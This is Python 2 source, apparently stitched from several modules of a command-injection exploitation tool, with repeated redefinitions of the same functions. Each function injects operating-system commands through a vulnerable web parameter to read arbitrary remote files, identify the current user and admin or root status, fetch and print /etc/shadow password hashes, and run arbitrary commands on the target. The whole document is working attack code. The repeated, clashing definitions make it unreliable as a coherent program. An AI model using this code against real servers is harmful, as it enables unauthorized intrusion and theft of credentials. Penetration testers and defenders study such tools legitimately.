def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
  cmd = settings.PS_VERSION
  if alter_shell:
    cmd = cmd.replace("'","\\'")
  #Command execution results.
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # The main command injection exploitation.
    check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
    session_handler.store_cmd(url, cmd, output, vuln_parameter)
    new_line = "\n"
  else:
    output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    new_line = ""
  ps_version = output
  try:
    if float(ps_version):
      settings.PS_ENABLED = True
      ps_version = "".join(str(p) for p in output)
      if settings.VERBOSITY_LEVEL >= 1:
        print ""
      # Output PowerShell's version number
      success_msg = "The PowerShell's version number is " 
      success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
      sys.stdout.write(new_line + settings.print_success_msg(success_msg) + ".")
      sys.stdout.flush()
      # Add infos to logs file.
      output_file = open(filename, "a")
      success_msg = "The PowerShell's version number is " + ps_version + ".\n"
      output_file.write("    " + settings.SUCCESS_SIGN + success_msg)
      output_file.close()
  except ValueError:
    warn_msg = "Heuristics have failed to identify PowerShell's version, "
    warn_msg += "which means that some payloads or injection techniques may be failed." 
    print "\n" + settings.print_warning_msg(warn_msg)
    settings.PS_ENABLED = False

def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): 
  cmd = settings.PS_VERSION
  if alter_shell:
    cmd = cmd.replace("'","\\'")
  #Command execution results.
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  # Evaluate injection results.
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    ps_version = cb_injector.injection_results(response, TAG, cmd)
    ps_version = "".join(str(p) for p in ps_version)
    session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
  else:
    ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  try:
    if float(ps_version):
      settings.PS_ENABLED = True
      if settings.VERBOSITY_LEVEL >= 1:
        print ""
      # Output PowerShell's version number
      success_msg = "The PowerShell's version number is " 
      success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
      sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
      sys.stdout.flush()
      # Add infos to logs file. 
      output_file = open(filename, "a")
      success_msg = "The PowerShell's version number is " + ps_version + ".\n"
      output_file.write("    " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
      output_file.close()
  except ValueError:
    warn_msg = "Heuristics have failed to identify PowerShell's version, "
    warn_msg += "which means that some payloads or injection techniques may be failed."
    print settings.print_warning_msg(warn_msg)
    settings.PS_ENABLED = False
    checks.ps_check_failed()

def file_read(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
  file_to_read = menu.options.file_read
  # Execute command
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_FILE_READ + file_to_read
  else:
    cmd = settings.FILE_READ + file_to_read 
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # The main command injection exploitation.
    check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
    session_handler.store_cmd(url, cmd, output, vuln_parameter)
    new_line = "\n"
  else:
    output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    new_line = ""
  shell = output
  try:
    shell = "".join(str(p) for p in shell)
  except TypeError:
    pass
  if menu.options.verbose:
    print ""
  if shell:
    sys.stdout.write(Style.BRIGHT + new_line + "(!) The contents of file '" + Style.UNDERLINE + file_to_read + Style.RESET_ALL + Style.BRIGHT + "'" + Style.RESET_ALL + " : ")
    sys.stdout.flush()
    print shell
    output_file = open(filename, "a")
    output_file.write("    (!) The contents of file '" + file_to_read + "' : " + shell + ".\n")
    output_file.close()
  else:
   sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read the '" + file_to_read + "' file." + Style.RESET_ALL + "\n")
   sys.stdout.flush()

def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  file_to_read = menu.options.file_read
  # Execute command
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_FILE_READ + file_to_read
  else:
    cmd = settings.FILE_READ + file_to_read
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if menu.options.verbose:
    print ""
  if shell:
    success_msg = "The contents of file '" + Style.UNDERLINE 
    success_msg += file_to_read + Style.RESET_ALL + "' : "
    sys.stdout.write(settings.print_success_msg(success_msg))
    print shell
    output_file = open(filename, "a")
    success_msg = "The contents of file '"
    success_msg += file_to_read + "' : " + shell + ".\n"
    output_file.write("    " + settings.SUCCESS_SIGN + success_msg)
    output_file.close()
  else:
    warn_msg = "It seems that you don't have permissions "
    warn_msg += "to read the '" + file_to_read + "' file."
    sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
    sys.stdout.flush()

def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
  if settings.TARGET_OS == "win":
    settings.HOSTNAME = settings.WIN_HOSTNAME 
  cmd = settings.HOSTNAME
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # Command execution results.
    response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
    # Perform target page reload (if it is required).
    if settings.URL_RELOAD:
      response = requests.url_reload(url, timesec)
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    shell = "".join(str(p) for p in shell)
    success_msg = "The hostname is " +  shell
    sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
    sys.stdout.flush()
    # Add infos to logs file. 
    output_file = open(filename, "a")
    success_msg = "The hostname is " + shell + ".\n"
    output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
  else:
    warn_msg = "Heuristics have failed to identify the hostname."
    print settings.print_warning_msg(warn_msg)

def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  if settings.TARGET_OS == "win":
    settings.CURRENT_USER = settings.WIN_CURRENT_USER
  cmd = settings.CURRENT_USER
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    cu_account = cb_injector.injection_results(response, TAG)
    cu_account = "".join(str(p) for p in cu_account)
    session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
  else:
    cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if cu_account:
    cu_account = "".join(str(p) for p in cu_account)
    # Check if the user have super privileges.
    if menu.options.is_root or menu.options.is_admin:
      if settings.TARGET_OS == "win":
        cmd = settings.IS_ADMIN
      else:  
        cmd = settings.IS_ROOT 
      response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
      if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
        # Evaluate injection results.
        shell = cb_injector.injection_results(response, TAG)
        shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
        session_handler.store_cmd(url, cmd, shell, vuln_parameter)
      else:
        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL)
      # Add infos to logs file.    
      output_file = open(filename, "a")
      output_file.write("    (!) The current user is " + cu_account)
      output_file.close()
      if shell:
        if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
           (settings.TARGET_OS != "win" and shell != "0"):
          sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
          sys.stdout.flush()
          # Add infos to logs file.   
          output_file = open(filename, "a")
          output_file.write(" and it is not privileged.\n")
          output_file.close()
        else:
          sys.stdout.write(Style.BRIGHT + " and it is " + Style.UNDERLINE + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n")
          sys.stdout.flush()
          # Add infos to logs file.   
          output_file = open(filename, "a")
          output_file.write(" and it is privileged.\n")
          output_file.close()
    else:
      if menu.options.verbose:
        print ""
      sys.stdout.write(Style.BRIGHT + "(!) The current user is " + Style.UNDERLINE + cu_account + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file.   
      output_file = open(filename, "a")
      output_file.write("    (!) The current user is " + cu_account + "\n")
      output_file.close()

def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
  _ = False
  cmd = settings.HOSTNAME
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # The main command injection exploitation.
    check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
    session_handler.store_cmd(url, cmd, output, vuln_parameter)
    _ = True
  else:
    output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  shell = output 
  if shell:
    if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
      print ""
    success_msg = "The hostname is " +  shell
    sys.stdout.write(settings.print_success_msg(success_msg) + ".")
    sys.stdout.flush()
    # Add infos to logs file. 
    output_file = open(filename, "a")
    success_msg = "The hostname is " + shell + ".\n"
    output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
  else:
    warn_msg = "Heuristics have failed to identify the hostname."
    print settings.print_warning_msg(warn_msg)

def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): 
  _ = False
  cmd = settings.PS_VERSION
  if alter_shell:
    cmd = cmd.replace("'","\\'")
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    # The main command injection exploitation.
    check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
    session_handler.store_cmd(url, cmd, output, vuln_parameter)
    _ = True
  else:
    output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  ps_version = output
  try:
    if float(ps_version):
      settings.PS_ENABLED = True
      ps_version = "".join(str(p) for p in output)
      if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
        print ""
      # Output PowerShell's version number
      success_msg = "The PowerShell's version number is " 
      success_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
      sys.stdout.write(settings.print_success_msg(success_msg) + ".")
      sys.stdout.flush()
      # Add infos to logs file. 
      output_file = open(filename, "a")
      success_msg = "The PowerShell's version number is " + ps_version + ".\n"
      output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
      output_file.close()
  except ValueError:
    warn_msg = "Heuristics have failed to identify the version of Powershell, "
    warn_msg += "which means that some payloads or injection techniques may be failed." 
    print "\n" + settings.print_warning_msg(warn_msg)
    settings.PS_ENABLED = False

def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): 
  cmd = settings.PS_VERSION
  if alter_shell:
    cmd = cmd.replace("'","\\'")
  else:
    cmd = "\"" + cmd + "\""
  #Command execution results.
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  # Evaluate injection results.
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    ps_version = cb_injector.injection_results(response, TAG)
    ps_version = "".join(str(p) for p in ps_version)
    session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
  else:
    ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  try:
    if float(ps_version):
      settings.PS_ENABLED = True
      if menu.options.verbose:
        print ""
      # Output PowerShell's version number
      sys.stdout.write(Style.BRIGHT + "(!) The PowerShell's version number is " + Style.UNDERLINE +  ps_version + Style.RESET_ALL + Style.BRIGHT + Style.RESET_ALL + ".\n")
      sys.stdout.flush()
      # Add infos to logs file. 
      output_file = open(filename, "a")
      output_file.write("    (!) The PowerShell's version number is " + ps_version + ".\n")
      output_file.close()
  except ValueError:
    print Fore.YELLOW + settings.WARNING_SIGN + "Heuristics have failed to identify PowerShell's version, which means that some payloads or injection techniques may be failed." + Style.RESET_ALL 
    settings.PS_ENABLED = False
    checks.ps_check_failed()

def file_read(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  file_to_read = menu.options.file_read
  # Execute command
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_FILE_READ + file_to_read
  else:
    cmd = settings.FILE_READ + file_to_read 
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if menu.options.verbose:
    print ""
  if shell:
    sys.stdout.write(Style.BRIGHT + "(!) The contents of file '" + Style.UNDERLINE + file_to_read + Style.RESET_ALL + "' : ")
    sys.stdout.flush()
    print shell
    output_file = open(filename, "a")
    output_file.write("    (!) The contents of file '" + file_to_read + "' : " + shell + ".\n")
    output_file.close()
  else:
   sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read the '" + file_to_read + "' file." + Style.RESET_ALL + "\n")
   sys.stdout.flush()

def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): 
  cmd = settings.PS_VERSION
  if alter_shell:
    cmd = cmd.replace("'","\\'")
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # The main command injection exploitation.
    check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
    session_handler.store_cmd(url, cmd, output, vuln_parameter)
    new_line = "\n"
  else:
    output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    new_line = ""
  ps_version = output
  try:
    if float(ps_version):
      settings.PS_ENABLED = True
      ps_version = "".join(str(p) for p in output)
      if menu.options.verbose:
        print ""
      # Output PowerShell's version number
      sys.stdout.write(Style.BRIGHT + new_line + "(!) The PowerShell's version number is " + Style.UNDERLINE +  ps_version + Style.RESET_ALL + Style.BRIGHT + Style.RESET_ALL + ".")
      sys.stdout.flush()
      # Add infos to logs file. 
      output_file = open(filename, "a")
      output_file.write("    (!) The PowerShell's version number is " + ps_version + ".\n")
      output_file.close()
  except ValueError:
    print "\n" + Fore.YELLOW + settings.WARNING_SIGN + "Heuristics have failed to identify PowerShell's version, which means that some payloads or injection techniques may be failed." + Style.RESET_ALL 
    settings.PS_ENABLED = False

def file_read(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  file_to_read = menu.options.file_read
  # Execute command
  if settings.TARGET_OS == "win":
    cmd = settings.WIN_FILE_READ + file_to_read
  else:
    cmd = settings.FILE_READ + file_to_read 
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if settings.VERBOSITY_LEVEL >= 1:
    print ""
  if shell:
    success_msg = "The contents of file '"  
    success_msg += file_to_read + "'" + Style.RESET_ALL + ": "
    sys.stdout.write(settings.print_success_msg(success_msg))
    print shell
    output_file = open(filename, "a")
    success_msg = "The contents of file '"
    success_msg += file_to_read + "' : " + shell + ".\n"
    output_file.write("    " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.SUCCESS_SIGN) + success_msg)
    output_file.close()
  else:
    warn_msg = "It seems that you don't have permissions "
    warn_msg += "to read the '" + file_to_read + "' file."
    sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
    sys.stdout.flush()

def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
  if settings.TARGET_OS == "win":
    # Not yet implemented!
    pass
  else:
    cmd = settings.SYS_PASSES
    #print ""
    if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
      check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
      if output == False:
        output = ""
      session_handler.store_cmd(url, cmd, output, vuln_parameter)  
      new_line = "\n"
    else:
      output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
      new_line = ""
    sys_passes = output
    if sys_passes == "":
      sys_passes = " "
    if sys_passes :
      sys.stdout.write(new_line + settings.INFO_SIGN + "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... ")
      sys.stdout.flush()
      sys_passes = "".join(str(p) for p in sys_passes)
      sys_passes = sys_passes.replace(" ", "\n")
      sys_passes = sys_passes.split( )
      if len(sys_passes) != 0 :
        sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]")
        sys.stdout.write(Style.BRIGHT + "\n(!) Identified " + str(len(sys_passes)) + " entr" + ('ies', 'y')[len(sys_passes) == 1] + " in '" +  settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
        sys.stdout.flush()
        # Add infos to logs file.
        output_file = open(filename, "a")
        output_file.write("\n    (!) Identified " + str(len(sys_passes)) + " entr" + ('ies', 'y')[len(sys_passes) == 1] + " in '" +  settings.SHADOW_FILE + "'.\n" )
        output_file.close()
        count = 0
        for line in sys_passes:
          count = count + 1
          try:
            fields = line.split(":")
            if fields[1] != "*" and fields[1] != "!" and fields[1] != "":
              print "  (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL
              # Add infos to logs file.
              output_file = open(filename, "a")
              output_file.write("      (" +str(count)+ ") " + fields[0] + " : " + fields[1])
              output_file.close()
          # Check for appropriate '/etc/shadow' format.
          except IndexError:
            if count == 1 :
              sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that '" + settings.SHADOW_FILE + "' file is not in the appropriate format. Thus, it is expoted as a text file." + Style.RESET_ALL + "\n")
            print fields[0]
            output_file = open(filename, "a")
            output_file.write("      " + fields[0])
            output_file.close()
      else:
        sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]")
        sys.stdout.write("\n" + Fore.YELLOW + settings.WARNING_SIGN + "It seems that you don't have permissions to read '" + settings.SHADOW_FILE + "' to enumerate users password hashes." + Style.RESET_ALL)
        sys.stdout.flush()

def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
  cmd = menu.options.os_cmd
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # The main command injection exploitation.
    check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
    session_handler.store_cmd(url, cmd, output, vuln_parameter)
    return check_how_long, output
  else:
    output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    print Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL
    sys.exit(0)

def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
  cmd = menu.options.os_cmd
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
    check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
    session_handler.store_cmd(url, cmd, output, vuln_parameter)
    if settings.VERBOSITY_LEVEL >= 1:
      print "" 
    return check_how_long, output
  else:
    output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    print "\n" + Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL + "\n"
    logs.print_logs_notification(filename, url) 
    raise SystemExit()

def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
  cmd = menu.options.os_cmd
  #check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
    session_handler.store_cmd(url, cmd, output, vuln_parameter)
    return check_how_long, output
  else:
    if not settings.VERBOSITY_LEVEL >= 1:
      print ""
    output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    print Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL
    sys.exit(0)

def hostname(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
  cmd = settings.HOSTNAME
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # The main command injection exploitation.
    check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
    session_handler.store_cmd(url, cmd, output, vuln_parameter)
    new_line = "\n"
  else:
    output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
    new_line = ""
  shell = output 
  if shell:
    sys.stdout.write(Style.BRIGHT + new_line + "(!) The hostname is " + Style.UNDERLINE + shell + Style.RESET_ALL + ".")
    sys.stdout.flush()
    # Add infos to logs file. 
    output_file = open(filename, "a")
    output_file.write("    (!) The hostname is " + shell + ".\n")
    output_file.close()

def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  cmd =  menu.options.os_cmd
  response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = cb_injector.injection_results(response, TAG)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    if menu.options.verbose:
      print ""
    if shell != "":
      print Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
    else:
      print Back.RED + settings.ERROR_SIGN + "The '" + cmd + "' command, does not return any output." + Style.RESET_ALL 
    sys.exit(0)

def single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
  cmd =  menu.options.os_cmd
  response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
    shell = "".join(str(p) for p in shell)
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    if menu.options.verbose:
      print ""
    if shell != "":
      print Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
    else:
      err_msg = "The '" + cmd + "' command, does not return any output."
      print settings.print_error_msg(err_msg) 
    sys.exit(0)

def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename):
  cmd =  menu.options.os_cmd
  response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
  if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
    # Evaluate injection results.
    shell = eb_injector.injection_results(response, TAG, cmd)
    shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
    session_handler.store_cmd(url, cmd, shell, vuln_parameter)
  else:
    shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
  if shell:
    if settings.VERBOSITY_LEVEL >= 1:
      print ""
    if shell != "":
      print Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
    else:
      err_msg = "The '" + cmd + "' command, does not return any output."
      print settings.print_critical_msg(err_msg) 
    sys.exit(0)